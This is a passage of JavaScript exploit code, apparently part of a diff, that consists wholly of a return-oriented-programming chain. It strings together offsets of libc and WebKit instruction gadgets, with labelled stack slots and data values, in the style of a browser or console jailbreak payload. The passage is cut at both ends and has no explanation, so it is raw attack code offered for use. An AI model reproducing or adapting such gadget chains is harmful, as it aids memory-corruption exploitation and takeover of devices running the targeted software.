+libc_base+165442 //pop rdi +]); +//L299: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L300: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+78120, //L302 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+78136, //L303 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L301: +db([4294967283, 4294967295]); // -0xd +set_gadget(libc_base+772328,); //pop rcx +//L302: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L303: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L305: +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+78280, //L308 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+78264, //L307 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L307: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L308: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+78424, //L312 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+78392, //L310 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+78408, //L311 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L310: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L311: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L312: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+78496, //L313 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L313: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+78552, //L315 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L315: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+78648, //L318 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L317: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L318: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+78752, //L321 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+78736, //L320 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L320: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L321: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+78912, //L324 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+78944, //L326 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+78896, //L323 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+78928, //L325 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L323: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L324: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L325: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L326: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+79056, //L327 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+79088, //L329 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+79072, //L328 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L327: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L328: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L329: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+79176, //L330 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L330: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+79232, //L332 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L332: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+79376, //L335 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+79392, //L336 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+79360, //L334 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L334: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L335: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L336: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229136, //mov al, [rdi] +libc_base+713278, //pop rsi +ropchain+79552, //L340 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+79520, //L338 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+79536, //L339 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L337: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L338: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L339: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L340: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+79608, //L341 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L341: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+79736, //L344 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+79752, //L345 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+79720, //L343 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L343: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L344: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L345: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+79912, //L349 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+79880, //L347 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+79896, //L348 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L346: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L347: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L348: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L349: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+79968, //L350 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L350: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+80096, //L353 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+80112, //L354 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+80080, //L352 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L352: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L353: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L354: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+80272, //L358 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+80240, //L356 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+80256, //L357 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L355: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L356: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L357: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L358: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+80328, //L359 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L359: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+80456, //L362 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+80472, //L363 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+80440, //L361 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L361: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L362: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L363: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+80552, //L364 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+80568, //L365 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L364: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L365: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+80728, //L369 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+80696, //L367 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+80712, //L368 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L366: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L367: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L368: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L369: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+80784, //L370 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L370: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+80912, //L373 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+80928, //L374 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+80896, //L372 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L372: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L373: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L374: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+81024, //L376 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+81008, //L375 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L375: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L376: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+81120, //L378 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L377: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L378: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+81224, //L381 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+81208, //L380 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L380: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L381: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+81368, //L385 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+81336, //L383 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+81352, //L384 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L383: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L384: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L385: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+81440, //L386 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L386: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+81496, //L388 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L388: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L390: +db([7, 0]); // 0x7 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+81640, //L392 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L391: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L392: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+81744, //L395 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+81728, //L394 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L394: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L395: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+81904, //L398 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+81936, //L400 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+81888, //L397 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+81920, //L399 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L397: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L398: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L399: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L400: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+82048, //L401 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+82080, //L403 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+82064, //L402 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L401: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L402: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L403: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+82192, //L404 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+82208, //L405 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L404: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L405: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+82296, //L406 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L406: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+82352, //L408 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L408: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+82424, //L410 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L410: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+82480, //L412 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L412: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+82584, //L415 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L414: +db([4294967283, 4294967295]); // -0xd +set_gadget(libc_base+772328,); //pop rcx +//L415: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+82688, //L418 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+82672, //L417 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L417: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L418: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229136, //mov al, [rdi] +libc_base+713278, //pop rsi +ropchain+82848, //L423 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+82816, //L421 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+82832, //L422 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L420: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L421: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L422: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L423: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+82904, //L424 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L424: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+83032, //L427 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+83048, //L428 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+83016, //L426 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L426: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L427: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L428: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+83208, //L432 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+83176, //L430 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+83192, //L431 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L429: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L430: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L431: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L432: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+83264, //L433 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L433: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+83392, //L436 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+83408, //L437 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+83376, //L435 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L435: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L436: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L437: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+83488, //L438 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+83504, //L439 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L438: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L439: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+83664, //L443 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+83632, //L441 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+83648, //L442 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L440: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L441: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L442: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L443: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+83720, //L444 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L444: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+83848, //L447 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+83864, //L448 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+83832, //L446 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L446: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L447: +db([0, 